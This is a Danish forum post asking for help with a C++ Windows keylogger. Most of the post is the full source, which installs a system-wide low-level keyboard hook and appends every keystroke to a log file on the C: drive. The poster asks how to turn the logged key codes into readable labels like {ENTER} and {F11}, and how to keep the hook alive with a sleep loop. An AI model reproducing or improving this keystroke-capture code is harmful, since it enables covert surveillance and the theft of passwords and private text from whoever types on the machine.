Her er min kode:
#define _WIN32_WINNT 0x0500
#include <iostream>
#include <fstream>
#include <windows.h>
#include <stdlib.h>
#include <ctype.h>
HHOOK KeyboardHook;
LRESULT LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if((nCode==HC_ACTION) && (wParam==WM_KEYDOWN))
{
KBDLLHOOKSTRUCT *HookStruct = (KBDLLHOOKSTRUCT *)lParam;
std::ofstream outfile;
outfile.open ("C:\\\\logfile.txt", std::ofstream::out | std::ofstream::app);
if(std::isprint((char)HookStruct->vkCode))
{
outfile << (char)HookStruct->vkCode;
}
else
{
outfile << HookStruct->vkCode;
}
outfile.close();
}
return CallNextHookEx(KeyboardHook, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE,LPSTR lpCmdLine,INT nCmdShow)
{
KeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC )LowLevelKeyboardProc, GetModuleHandle(0), 0);
if(!KeyboardHook) MessageBox(0, "Hook fejlede", "Keylogger", MB_OK);
MessageBox(0, "Hook kører!", "Keylogger", MB_OK); //alternativt while(1) Sleep(1000000);
return EXIT_SUCCESS;
}
Den "if-else", der er, er et forsøg på at få den til at oversætte tallene.
Jeg vil med få ord bare gerne have trykkene til at være forståelige. Det duer ikke, at den skriver "z", når jeg trykker F11 eller forskellige tegn ved piletasterne osv.
Ønskeoutputtet ville selvfølgeligt være noget i stil med: "HEJ 123 {ENTER} {F11} {UP} {DOWN}".
Kan det lade sig gøre?
Hvis du lige vil kigge på det med sleep funktionen, ville det bare være kanon.